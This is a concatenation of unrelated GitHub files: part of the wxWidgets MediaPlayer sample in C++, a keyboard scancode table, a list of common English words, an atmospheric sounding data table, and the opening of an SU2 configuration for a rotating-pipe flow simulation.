currentpage->m_playlist->SetItem(listitem); wxASSERT(listitem.GetData()); DoPlayFile((*((wxString*) listitem.GetData()))); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnVolumeDown // // Lowers the volume of the media control by 5% // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnVolumeDown(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); double dVolume = currentpage->m_mediactrl->GetVolume(); currentpage->m_mediactrl->SetVolume(dVolume < 0.05 ? 0.0 : dVolume - .05); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnVolumeUp // // Increases the volume of the media control by 5% // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnVolumeUp(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); double dVolume = currentpage->m_mediactrl->GetVolume(); currentpage->m_mediactrl->SetVolume(dVolume > 0.95 ? 1.0 : dVolume + .05); } // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // wxMediaPlayerTimer // // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // ---------------------------------------------------------------------------- // wxMediaPlayerTimer::Notify // // 1) Updates media information on the status bar // 2) Sets the max/min length of the slider and guage // // Note that the reason we continually do this and don't cache it is because // some backends such as GStreamer are dynamic change values all the time // and often don't have things like duration or video size available // until the media is actually being played // ---------------------------------------------------------------------------- void wxMediaPlayerTimer::Notify() { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_frame->m_notebook->GetCurrentPage(); wxMediaCtrl* currentMediaCtrl = currentpage->m_mediactrl; // Number of minutes/seconds total wxLongLong llLength = currentpage->m_mediactrl->Length(); int nMinutes = (int) (llLength / 60000).GetValue(); int nSeconds = (int) ((llLength % 60000)/1000).GetValue(); // Duration string (i.e. MM:SS) wxString sDuration; sDuration.Printf(wxT("%2i:%02i"), nMinutes, nSeconds); // Number of minutes/seconds total wxLongLong llTell = currentpage->m_mediactrl->Tell(); nMinutes = (int) (llTell / 60000).GetValue(); nSeconds = (int) ((llTell % 60000)/1000).GetValue(); // Position string (i.e. MM:SS) wxString sPosition; sPosition.Printf(wxT("%2i:%02i"), nMinutes, nSeconds); // Set the third item in the listctrl entry to the duration string if(currentpage->m_nLastFileId >= 0) currentpage->m_playlist->SetItem( currentpage->m_nLastFileId, 2, sDuration); // Setup the slider and gauge min/max values currentpage->m_slider->SetRange(0, (int)(llLength / 1000).GetValue()); currentpage->m_gauge->SetRange(100); // if the slider is not being dragged then update it with the song position if(currentpage->IsBeingDragged() == false) currentpage->m_slider->SetValue((long)(llTell / 1000).GetValue()); // Update the gauge with the download progress wxLongLong llDownloadProgress = currentpage->m_mediactrl->GetDownloadProgress(); wxLongLong llDownloadTotal = currentpage->m_mediactrl->GetDownloadTotal(); if(llDownloadTotal.GetValue() != 0) { currentpage->m_gauge->SetValue( (int) ((llDownloadProgress * 100) / llDownloadTotal).GetValue() ); } // GetBestSize holds the original video size wxSize videoSize = currentMediaCtrl->GetBestSize(); // Now the big part - set the status bar text to // hold various metadata about the media #if wxUSE_STATUSBAR m_frame->SetStatusText(wxString::Format( wxT("Size(x,y):%i,%i ") wxT("Position:%s/%s Speed:%1.1fx ") wxT("State:%s Loops:%i D/T:[%i]/[%i] V:%i%%"), videoSize.x, videoSize.y, sPosition.c_str(), sDuration.c_str(), currentMediaCtrl->GetPlaybackRate(), wxGetMediaStateText(currentpage->m_mediactrl->GetState()), currentpage->m_nLoops, (int)llDownloadProgress.GetValue(), (int)llDownloadTotal.GetValue(), (int)(currentpage->m_mediactrl->GetVolume() * 100))); #endif // wxUSE_STATUSBAR } // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // wxMediaPlayerNotebookPage // // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage Constructor // // Creates a media control and slider and adds it to this panel, // along with some sizers for positioning // ---------------------------------------------------------------------------- wxMediaPlayerNotebookPage::wxMediaPlayerNotebookPage(wxMediaPlayerFrame* parentFrame, wxNotebook* theBook, const wxString& szBackend) : wxPanel(theBook, wxID_ANY), m_nLastFileId(-1), m_nLoops(0), m_bLoop(false), m_bIsBeingDragged(false), m_parentFrame(parentFrame) { // // Layout // // [wxMediaCtrl] // [playlist] // [5 control buttons] // [slider] // [gauge] // // // Create and attach a 2-column grid sizer // wxFlexGridSizer* sizer = new wxFlexGridSizer(2); sizer->AddGrowableCol(0); this->SetSizer(sizer); // // Create our media control // m_mediactrl = new wxMediaCtrl(); // Make sure creation was successful bool bOK = m_mediactrl->Create(this, wxID_MEDIACTRL, wxEmptyString, wxDefaultPosition, wxDefaultSize, 0, // you could specify a macro backend here like // wxMEDIABACKEND_WMP10); // wxT("wxPDFMediaBackend")); szBackend); // you could change the cursor here like // m_mediactrl->SetCursor(wxCURSOR_BLANK); // note that this may not effect it if SetPlayerControls // is set to something else than wxMEDIACTRLPLAYERCONTROLS_NONE wxASSERT_MSG(bOK, wxT("Could not create media control!")); wxUnusedVar(bOK); sizer->Add(m_mediactrl, 0, wxALIGN_CENTER_HORIZONTAL|wxALL|wxEXPAND, 5); // // Create the playlist/listctrl // m_playlist = new wxMediaPlayerListCtrl(); m_playlist->Create(this, wxID_LISTCTRL, wxDefaultPosition, wxDefaultSize, wxLC_REPORT // wxLC_LIST | wxSUNKEN_BORDER); // Set the background of our listctrl to white m_playlist->SetBackgroundColour(*wxWHITE); // The layout of the headers of the listctrl are like // | | File | Length // // Where Column one is a character representing the state the file is in: // * - not the current file // E - Error has occured // > - Currently Playing // [] - Stopped // || - Paused // (( - Volume Down 5% // )) - Volume Up 5% // // Column two is the name of the file // // Column three is the length in seconds of the file m_playlist->AppendColumn(_(""), wxLIST_FORMAT_CENTER, 20); m_playlist->AppendColumn(_("File"), wxLIST_FORMAT_LEFT, /*wxLIST_AUTOSIZE_USEHEADER*/305); m_playlist->AppendColumn(_("Length"), wxLIST_FORMAT_CENTER, 75); #if wxUSE_DRAG_AND_DROP m_playlist->SetDropTarget(new wxPlayListDropTarget(*m_playlist)); #endif sizer->Add(m_playlist, 0, wxALIGN_CENTER_HORIZONTAL|wxALL|wxEXPAND, 5); // // Create the control buttons // TODO/FIXME/HACK: This part about sizers is really a nice hack // and probably isn't proper // wxBoxSizer* horsizer1 = new wxBoxSizer(wxHORIZONTAL); wxBoxSizer* vertsizer = new wxBoxSizer(wxHORIZONTAL); m_prevButton = new wxButton(); m_playButton = new wxButton(); m_stopButton = new wxButton(); m_nextButton = new wxButton(); m_vdButton = new wxButton(); m_vuButton = new wxButton(); m_prevButton->Create(this, wxID_BUTTONPREV, wxT("|<")); m_prevButton->SetToolTip("Previous"); m_playButton->Create(this, wxID_BUTTONPLAY, wxT(">")); m_playButton->SetToolTip("Play"); m_stopButton->Create(this, wxID_BUTTONSTOP, wxT("[]")); m_stopButton->SetToolTip("Stop"); m_nextButton->Create(this, wxID_BUTTONNEXT, wxT(">|")); m_nextButton->SetToolTip("Next"); m_vdButton->Create(this, wxID_BUTTONVD, wxT("((")); m_vdButton->SetToolTip("Volume down"); m_vuButton->Create(this, wxID_BUTTONVU, wxT("))")); m_vuButton->SetToolTip("Volume up"); vertsizer->Add(m_prevButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); vertsizer->Add(m_playButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); vertsizer->Add(m_stopButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); vertsizer->Add(m_nextButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); vertsizer->Add(m_vdButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); vertsizer->Add(m_vuButton, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); horsizer1->Add(vertsizer, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); sizer->Add(horsizer1, 0, wxALIGN_CENTER_VERTICAL|wxALIGN_CENTER_HORIZONTAL|wxALL, 5); // // Create our slider // m_slider = new wxSlider(this, wxID_SLIDER, 0, // init 0, // start 1, // end, dummy but must be greater than start wxDefaultPosition, wxDefaultSize, wxSL_HORIZONTAL ); sizer->Add(m_slider, 0, wxALIGN_CENTER_HORIZONTAL|wxALL|wxEXPAND , 5); // // Create the gauge // m_gauge = new wxGauge(); m_gauge->Create(this, wxID_GAUGE, 0, wxDefaultPosition, wxDefaultSize, wxGA_HORIZONTAL | wxGA_SMOOTH); sizer->Add(m_gauge, 0, wxALIGN_CENTER_HORIZONTAL|wxALL|wxEXPAND , 5); // // Create the speed/volume sliders // wxBoxSizer* horsizer3 = new wxBoxSizer(wxHORIZONTAL); m_volSlider = new wxSlider(this, wxID_VOLSLIDER, 100, // init 0, // start 100, // end wxDefaultPosition, wxSize(250,20), wxSL_HORIZONTAL ); horsizer3->Add(m_volSlider, 1, wxALL, 5); m_pbSlider = new wxSlider(this, wxID_PBSLIDER, 4, // init 1, // start 16, // end wxDefaultPosition, wxSize(250,20), wxSL_HORIZONTAL ); horsizer3->Add(m_pbSlider, 1, wxALL, 5); sizer->Add(horsizer3, 1, wxCENTRE | wxALL, 5); // Now that we have all our rows make some of them growable sizer->AddGrowableRow(0); // // ListCtrl events // this->Connect( wxID_LISTCTRL, wxEVT_LIST_ITEM_ACTIVATED, wxListEventHandler(wxMediaPlayerFrame::OnChangeSong), (wxObject*)0, parentFrame); // // Slider events // this->Connect(wxID_SLIDER, wxEVT_SCROLL_THUMBTRACK, wxScrollEventHandler(wxMediaPlayerNotebookPage::OnBeginSeek)); this->Connect(wxID_SLIDER, wxEVT_SCROLL_THUMBRELEASE, wxScrollEventHandler(wxMediaPlayerNotebookPage::OnEndSeek)); this->Connect(wxID_PBSLIDER, wxEVT_SCROLL_THUMBRELEASE, wxScrollEventHandler(wxMediaPlayerNotebookPage::OnPBChange)); this->Connect(wxID_VOLSLIDER, wxEVT_SCROLL_THUMBRELEASE, wxScrollEventHandler(wxMediaPlayerNotebookPage::OnVolChange)); // // Media Control events // this->Connect(wxID_MEDIACTRL, wxEVT_MEDIA_PLAY, wxMediaEventHandler(wxMediaPlayerNotebookPage::OnMediaPlay)); this->Connect(wxID_MEDIACTRL, wxEVT_MEDIA_PAUSE, wxMediaEventHandler(wxMediaPlayerNotebookPage::OnMediaPause)); this->Connect(wxID_MEDIACTRL, wxEVT_MEDIA_STOP, wxMediaEventHandler(wxMediaPlayerNotebookPage::OnMediaStop)); this->Connect(wxID_MEDIACTRL, wxEVT_MEDIA_FINISHED, wxMediaEventHandler(wxMediaPlayerNotebookPage::OnMediaFinished)); this->Connect(wxID_MEDIACTRL, wxEVT_MEDIA_LOADED, wxMediaEventHandler(wxMediaPlayerFrame::OnMediaLoaded), (wxObject*)0, parentFrame); // // Button events // this->Connect( wxID_BUTTONPREV, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnPrev), (wxObject*)0, parentFrame); this->Connect( wxID_BUTTONPLAY, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnPlay), (wxObject*)0, parentFrame); this->Connect( wxID_BUTTONSTOP, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnStop), (wxObject*)0, parentFrame); this->Connect( wxID_BUTTONNEXT, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnNext), (wxObject*)0, parentFrame); this->Connect( wxID_BUTTONVD, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnVolumeDown), (wxObject*)0, parentFrame); this->Connect( wxID_BUTTONVU, wxEVT_BUTTON, wxCommandEventHandler(wxMediaPlayerFrame::OnVolumeUp), (wxObject*)0, parentFrame); } // ---------------------------------------------------------------------------- // MyNotebook::OnBeginSeek // // Sets m_bIsBeingDragged to true to stop the timer from changing the position // of our slider // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnBeginSeek(wxScrollEvent& WXUNUSED(event)) { m_bIsBeingDragged = true; } // ---------------------------------------------------------------------------- // MyNotebook::OnEndSeek // // Called from file->seek. // Called when the user moves the slider - // seeks to a position within the media // then sets m_bIsBeingDragged to false to ok the timer to change the position // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnEndSeek(wxScrollEvent& WXUNUSED(event)) { if( m_mediactrl->Seek( m_slider->GetValue() * 1000 ) == wxInvalidOffset ) wxMessageBox(wxT("Couldn't seek in movie!")); m_bIsBeingDragged = false; } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::IsBeingDragged // // Returns true if the user is dragging the slider // ---------------------------------------------------------------------------- bool wxMediaPlayerNotebookPage::IsBeingDragged() { return m_bIsBeingDragged; } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnVolChange // // Called when the user is done dragging the volume-changing slider // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnVolChange(wxScrollEvent& WXUNUSED(event)) { if( m_mediactrl->SetVolume( m_volSlider->GetValue() / 100.0 ) == false ) wxMessageBox(wxT("Couldn't set volume!")); } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnPBChange // // Called when the user is done dragging the speed-changing slider // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnPBChange(wxScrollEvent& WXUNUSED(event)) { if( m_mediactrl->SetPlaybackRate( m_pbSlider->GetValue() * .25 ) == false ) wxMessageBox(wxT("Couldn't set playbackrate!")); } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnMediaPlay // // Called when the media plays. // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnMediaPlay(wxMediaEvent& WXUNUSED(event)) { m_playlist->SetItem(m_nLastFileId, 0, wxT(">")); } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnMediaPause // // Called when the media is paused. // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnMediaPause(wxMediaEvent& WXUNUSED(event)) { m_playlist->SetItem(m_nLastFileId, 0, wxT("||")); } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnMediaStop // // Called when the media stops. // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnMediaStop(wxMediaEvent& WXUNUSED(event)) { m_playlist->SetItem(m_nLastFileId, 0, wxT("[]")); } // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage::OnMediaFinished // // Called when the media finishes playing. // Here we loop it if the user wants to (has been selected from file menu) // ---------------------------------------------------------------------------- void wxMediaPlayerNotebookPage::OnMediaFinished(wxMediaEvent& WXUNUSED(event)) { if(m_bLoop) { if ( !m_mediactrl->Play() ) { wxMessageBox(wxT("Couldn't loop movie!")); m_playlist->SetItem(m_nLastFileId, 0, wxT("E")); } else ++m_nLoops; } else { m_playlist->SetItem(m_nLastFileId, 0, wxT("[]")); } } // // End of MediaPlayer sample //
{ "pile_set_name": "Github" }
0 0 0 0 1 ^[ 0 2 '1 0 3 '2 0 4 '3 0 5 '4 0 6 '5 0 7 '6 0 8 '7 0 9 '8 0 10 '9 0 11 '0 0 12 '- 0 13 '= 0 14 ^H 0 15 ^I 0 16 'q 0 17 'w 0 18 'e 0 19 'r 0 20 't 0 21 'y 0 22 'u 0 23 'i 0 24 'o 0 25 'p 0 26 '[ 0 27 '] 0 28 ^J 0 29 0xf862 0 30 'a 0 31 's 0 32 'd 0 33 'f 0 34 'g 0 35 'h 0 36 'j 0 37 'k 0 38 'l 0 39 '; 0 40 '' 0 41 '` 0 42 0xf860 0 43 '\ 0 44 'z 0 45 'x 0 46 'c 0 47 'v 0 48 'b 0 49 'n 0 50 'm 0 51 ', 0 52 '. 0 53 '/ 0 54 0xf860 0 55 '* 0 56 0xf863 0 57 0x20 0 58 0xf862 0 59 0xf001 0 60 0xf002 0 61 0xf003 0 62 0xf004 0 63 0xf005 0 64 0xf006 0 65 0xf007 0 66 0xf008 0 67 0xf009 0 68 0xf00a 0 69 0xf865 0 70 0xf015 0 71 '7 0 72 '8 0 73 '9 0 74 '- 0 75 '4 0 76 '5 0 77 '6 0 78 '+ 0 79 '1 0 80 '2 0 81 '3 0 82 '0 0 83 '. 0 84 0 0 85 0 0 86 0 0 87 0xf00b 0 88 0xf00c 0 89 0 0 90 0 0 91 0 0 92 0 0 93 0 0 94 0 0 95 0 0 96 0 0 97 0 0 98 0 0 99 0 0 100 0 0 101 0 0 102 0 0 103 0 0 104 0 0 105 0 0 106 0 0 107 0 0 108 0 0 109 0 0 110 0 0 111 0 0 112 0 0 113 0 0 114 0 0 115 0 0 116 0 0 117 0 0 118 0 0 119 0 0 120 0 0 121 0xf800 0 122 0 0 123 0xf00e 0 124 0 0 125 0 0 126 0 0 127 0 1 0 0 1 1 ^[ 1 2 '! 1 3 '@ 1 4 '# 1 5 '$ 1 6 '% 1 7 '^ 1 8 '& 1 9 '* 1 10 '( 1 11 ') 1 12 '_ 1 13 '+ 1 14 ^H 1 15 ^I 1 16 'Q 1 17 'W 1 18 'E 1 19 'R 1 20 'T 1 21 'Y 1 22 'U 1 23 'I 1 24 'O 1 25 'P 1 26 '{ 1 27 '} 1 28 ^J 1 29 0xf862 1 30 'A 1 31 'S 1 32 'D 1 33 'F 1 34 'G 1 35 'H 1 36 'J 1 37 'K 1 38 'L 1 39 ': 1 40 '" 1 41 '~ 1 42 0xf860 1 43 '| 1 44 'Z 1 45 'X 1 46 'C 1 47 'V 1 48 'B 1 49 'N 1 50 'M 1 51 '< 1 52 '> 1 53 '? 1 54 0xf860 1 55 '* 1 56 0xf863 1 57 0x20 1 58 0xf862 1 59 0xf001 1 60 0xf002 1 61 0xf003 1 62 0xf004 1 63 0xf005 1 64 0xf006 1 65 0xf007 1 66 0xf008 1 67 0xf009 1 68 0xf00a 1 69 0xf865 1 70 0xf015 1 71 '7 1 72 '8 1 73 '9 1 74 '- 1 75 '4 1 76 '5 1 77 '6 1 78 '+ 1 79 '1 1 80 '2 1 81 '3 1 82 '0 1 83 '. 1 84 0 1 85 0 1 86 0 1 87 0xf00b 1 88 0xf00c 1 89 0 1 90 0 1 91 0 1 92 0 1 93 0 1 94 0 1 95 0 1 96 0 1 97 0 1 98 0 1 99 0 1 100 0 1 101 0 1 102 0 1 103 0 1 104 0 1 105 0 1 106 0 1 107 0 1 108 0 1 109 0 1 110 0 1 111 0 1 112 0 1 113 0 1 114 0 1 115 0 1 116 0 1 117 0 1 118 0 1 119 0 1 120 0 1 121 0xf00e 1 122 0 1 123 0xf00e 1 124 0 1 125 0 1 126 0 1 127 0 2 0 0 2 1 0 2 2 0 2 3 0 2 4 0 2 5 0 2 6 0 2 7 0 2 8 0 2 9 0 2 10 0 2 11 0 2 12 0 2 13 0 2 14 0 2 15 0 2 16 0 2 17 0 2 18 0 2 19 0 2 20 0 2 21 0 2 22 0 2 23 0 2 24 0 2 25 0 2 26 0 2 27 0 2 28 ^J 2 29 0xf862 2 30 0 2 31 0 2 32 0 2 33 0 2 34 0 2 35 0 2 36 0 2 37 0 2 38 0 2 39 0 2 40 0 2 41 0 2 42 0xf860 2 43 0 2 44 0 2 45 0 2 46 0 2 47 0 2 48 0 2 49 0 2 50 0 2 51 0 2 52 0 2 53 '/ 2 54 0 2 55 0xf010 2 56 0xf867 2 57 0 2 58 0 2 59 0 2 60 0 2 61 0 2 62 0 2 63 0 2 64 0 2 65 0 2 66 0 2 67 0 2 68 0 2 69 0 2 70 0xf861 2 71 0xf00d 2 72 0xf00e 2 73 0xf00f 2 74 0 2 75 0xf011 2 76 0 2 77 0xf012 2 78 0 2 79 0xf018 2 80 0xf800 2 81 0xf013 2 82 0xf014 2 83 0x7f 2 84 0 2 85 0 2 86 0 2 87 0 2 88 0 2 89 0 2 90 0 2 91 0 2 92 0 2 93 0 2 94 0 2 95 0 2 96 0 2 97 0 2 98 0 2 99 0 2 100 0 2 101 0 2 102 0 2 103 0 2 104 0 2 105 0 2 106 0 2 107 0 2 108 0 2 109 0 2 110 0 2 111 0 2 112 0 2 113 0 2 114 0 2 115 0 2 116 0 2 117 0 2 118 0 2 119 0 2 120 0 2 121 0xf00e 2 122 0 2 123 0 2 124 0 2 125 0 2 126 0 2 127 0 3 0 0 3 1 0 3 2 0 3 3 0 3 4 0 3 5 0 3 6 0 3 7 0 3 8 0 3 9 0 3 10 0 3 11 0 3 12 0 3 13 0 3 14 0 3 15 0 3 16 0 3 17 0 3 18 0 3 19 0 3 20 0 3 21 0 3 22 0 3 23 0 3 24 0 3 25 0 3 26 0 3 27 0 3 28 ^J 3 29 0xf862 3 30 0 3 31 0 3 32 0 3 33 0 3 34 0 3 35 0 3 36 0 3 37 0 3 38 0 3 39 0 3 40 0 3 41 0 3 42 0xf860 3 43 0 3 44 0 3 45 0 3 46 0 3 47 0 3 48 0 3 49 0 3 50 0 3 51 0 3 52 0 3 53 '/ 3 54 0 3 55 0xf010 3 56 0xf867 3 57 0 3 58 0 3 59 0 3 60 0 3 61 0 3 62 0 3 63 0 3 64 0 3 65 0 3 66 0 3 67 0 3 68 0 3 69 0 3 70 0xf861 3 71 0xf00d 3 72 0xf00e 3 73 0xf00f 3 74 0 3 75 0xf011 3 76 0 3 77 0xf012 3 78 0 3 79 0xf018 3 80 0xf800 3 81 0xf013 3 82 0xf014 3 83 0x7f 3 84 0 3 85 0 3 86 0 3 87 0 3 88 0 3 89 0 3 90 0 3 91 0 3 92 0 3 93 0 3 94 0 3 95 0 3 96 0 3 97 0 3 98 0 3 99 0 3 100 0 3 101 0 3 102 0 3 103 0 3 104 0 3 105 0 3 106 0 3 107 0 3 108 0 3 109 0 3 110 0 3 111 0 3 112 0 3 113 0 3 114 0 3 115 0 3 116 0 3 117 0 3 118 0 3 119 0 3 120 0 3 121 0xf00e 3 122 0 3 123 0 3 124 0 3 125 0 3 126 0 3 127 0 4 0 0 4 1 ^[ 4 2 ^Q 4 3 ^R 4 4 ^S 4 5 ^T 4 6 ^U 4 7 ^V 4 8 ^W 4 9 ^X 4 10 ^Y 4 11 ^P 4 12 ^M 4 13 ^] 4 14 ^H 4 15 ^I 4 16 ^Q 4 17 ^W 4 18 ^E 4 19 ^R 4 20 ^T 4 21 ^Y 4 22 ^U 4 23 ^I 4 24 ^O 4 25 ^P 4 26 ^[ 4 27 ^] 4 28 ^J 4 29 0xf862 4 30 ^A 4 31 ^S 4 32 ^D 4 33 ^F 4 34 ^G 4 35 ^H 4 36 ^J 4 37 ^K 4 38 ^L 4 39 ^[ 4 40 ^G 4 41 0 4 42 0xf860 4 43 ^\ 4 44 ^Z 4 45 ^X 4 46 ^C 4 47 ^V 4 48 ^B 4 49 ^N 4 50 ^M 4 51 ^L 4 52 ^N 4 53 ^O 4 54 0xf860 4 55 ^J 4 56 0xf863 4 57 0 4 58 0xf862 4 59 ^E 4 60 ^F 4 61 ^G 4 62 ^D 4 63 ^E 4 64 ^F 4 65 ^G 4 66 ^L 4 67 ^M 4 68 ^N 4 69 ^E 4 70 ^F 4 71 ^W 4 72 ^X 4 73 ^Y 4 74 ^M 4 75 ^T 4 76 ^U 4 77 ^V 4 78 ^K 4 79 ^Q 4 80 ^R 4 81 ^S 4 82 ^P 4 83 ^N 4 84 0 4 85 0 4 86 0 4 87 ^O 4 88 ^L 4 89 0 4 90 0 4 91 0 4 92 0 4 93 0 4 94 0 4 95 0 4 96 0 4 97 0 4 98 0 4 99 0 4 100 0 4 101 0 4 102 0 4 103 0 4 104 0 4 105 0 4 106 0 4 107 0 4 108 0 4 109 0 4 110 0 4 111 0 4 112 0 4 113 0 4 114 0 4 115 0 4 116 0 4 117 0 4 118 0 4 119 0 4 120 0 4 121 ^G 4 122 0 4 123 ^H 4 124 0 4 125 0 4 126 0 4 127 0
{ "pile_set_name": "Github" }
the of and to a in for is on that by this with i you it not or be are from at as your all have new more an was we will home can us about if page my has search free but our one other do no information time they site he up may what which their news out use any there see only so his when contact here business who web also now help get pm view online c e first am been would how were me s services some these click its like service x than find price date back top people had list name just over year day into email two n world re next used go b work last most products music buy data make them should product system post her city t add policy number such please available copyright support message after best software then jan good video well d where info rights public books high through m each links she review years order very privacy book items company r read group need many user said de does set under general january mail full map reviews program life know way days management p part could great real f item international center must travel comments made development report off member details line terms before did send right type because local those using results office national take posted internet address within area want phone shipping reserved subject between l long based w code show o even check special prices website index being much sign file link open today case project same pages version section own found sports house related both g county photo members power while care network down computer systems three total place end following download h him without per access think resources current posts big media control history pictures size art personal since including guide shop directory board location change white text small rating rate during return v shopping account times sites level digital profile previous form events old main call hours image department title description non k y another why shall still money quality every listing content country private little visit save tools low reply customer december compare movies include value article card provide j food source author different press u learn sale around print job process too point join science categories advanced west sales look english left team box select photos thread week category note live large gallery table register however june october november really start series model industry plan provided yes required second hot cost forums march la september better say questions july going test friend come dec application cart staff articles feedback again play looking issues april never users complete street topic comment things standard person below mobile less got blog party payment login let offers legal above recent side act problem give social q august quote language story sell options experience create key body important field few east ii age example additional password z
{ "pile_set_name": "Github" }
%TITLE% CDS 030513/2200 LEVEL HGHT TEMP DWPT WDIR WSPD __________________________________________________ %RAW% 947.20,529.10,34.34,17.58,171.70,9.42 944.90,551.20,33.44,17.47,170.54,9.45 940.50,593.30,32.64,17.52,172.03,9.81 933.80,657.80,31.94,17.56,172.03,9.81 924.80,744.90,31.14,17.38,179.00,11.07 911.40,875.90,31.24,15.56,204.84,11.56 898.00,1008.60,30.04,14.94,208.30,11.47 884.60,1142.70,28.74,14.17,219.92,12.41 871.20,1278.20,27.54,13.26,227.95,13.34 857.80,1415.20,26.34,12.17,234.09,13.91 844.40,1553.80,25.14,10.90,238.89,13.16 831.00,1694.00,23.94,9.31,242.35,13.82 817.60,1836.00,23.54,6.56,249.27,15.37 804.20,1979.80,22.54,0.35,263.66,17.59 790.80,2125.40,21.64,-3.67,272.22,20.02 777.40,2272.80,20.34,-6.36,272.06,21.58 764.00,2422.30,19.84,-7.83,266.93,21.79 750.60,2574.00,18.44,-9.27,264.91,19.70 737.20,2727.60,16.94,-10.54,265.74,18.31 723.80,2883.20,15.54,-11.54,267.48,17.69 710.40,3040.90,14.14,-12.48,273.77,17.72 697.00,3200.80,12.74,-13.26,276.56,17.01 683.60,3363.10,11.24,-14.13,269.30,15.93 670.20,3527.60,9.64,-14.97,268.45,14.38 656.80,3694.50,8.04,-15.56,270.86,13.02 643.40,3863.80,6.34,-16.23,270.91,12.24 630.00,4035.70,4.94,-17.21,267.14,11.67 616.60,4210.40,3.54,-18.00,271.88,11.86 587.70,4596.90,-0.26,-18.26,293.69,20.79 540.10,5266.30,-5.16,-14.18,283.24,37.32 466.10,6403.50,-14.56,-17.35,277.09,44.05 401.60,7513.90,-22.86,-27.40,281.23,57.83 359.80,8310.60,-28.36,-34.73,281.11,55.43 303.60,9504.50,-37.76,-46.21,286.62,63.86 257.10,10628.60,-46.56,-57.87,288.83,80.04 206.70,12038.20,-58.36,-72.68,289.83,83.01 191.50,12515.30,-61.16,-73.20,291.94,76.44 185.20,12722.80,-61.26,-9999.00,289.00,68.62 179.30,12923.60,-61.36,-9999.00,287.14,70.54 172.20,13173.60,-62.06,-9999.00,284.72,74.92 169.10,13286.10,-61.36,-9999.00,285.53,73.99 166.60,13378.60,-60.46,-9999.00,285.27,74.50 163.10,13511.10,-59.36,-9999.00,284.58,74.87 159.40,13655.50,-57.16,-9999.00,285.37,71.11 151.90,13961.00,-56.06,-9999.00,286.76,69.38 132.10,14846.00,-57.26,-9999.00,280.79,75.74 104.40,16311.80,-63.46,-9999.00,299.50,50.89 73.60,18408.90,-72.96,-9999.00,283.96,36.23 61.60,19458.90,-70.26,-9999.00,344.98,16.49 42.30,21689.00,-70.66,-9999.00,275.01,22.23 %END% ----- Note ----- Old Title: MRF 030912/0000
{ "pile_set_name": "Github" }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % SU2 configuration file % % Case description: 3D, inviscid flow inside a pipe with rotating sections % % nearest neighbour approach holds at sliding interface % % Author: G. Gori % % Institution: Politecnico di Milano % % Date: Oct 5th, 2016 % % File Version 4.3.0 "cardinal" % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Enable multizone mode MULTIZONE= YES % % List of config files for zone specific options CONFIG_LIST= (zone_1.cfg, zone_2.cfg, zone_3.cfg, zone_4.cfg, zone_5.cfg) % TIME_DOMAIN=YES % TIME_STEP= 0.1 % TIME_ITER= 10 % OUTER_ITER=200 % INNER_ITER=1 % % ------------- DIRECT, ADJOINT, AND LINEARIZED PROBLEM DEFINITION ------------% % % Physical governing equations (EULER, NAVIER_STOKES) SOLVER= EULER % % Mathematical problem (DIRECT, ADJOINT, LINEARIZED) MATH_PROBLEM= DIRECT % % Restart solution (NO, YES) RESTART_SOL= NO % % ------------------------- UNSTEADY SIMULATION -------------------------------% % % Unsteady simulation (NO, TIME_STEPPING, DUAL_TIME_STEPPING-1ST_ORDER, % DUAL_TIME_STEPPING-2ND_ORDER) TIME_MARCHING= DUAL_TIME_STEPPING-2ND_ORDER % -------------------- COMPRESSIBLE FREE-STREAM DEFINITION --------------------% % % Mach number (non-dimensional, based on the free-stream values) MACH_NUMBER= 3.0 % % Angle of attack (degrees, only for compressible flows) AOA= 0.0 % % Free-stream pressure (101325.0 N/m^2 by default, only Euler flows) FREESTREAM_PRESSURE= 95750 % % Free-stream temperature (273.15 K by default) FREESTREAM_TEMPERATURE= 288.15 % % 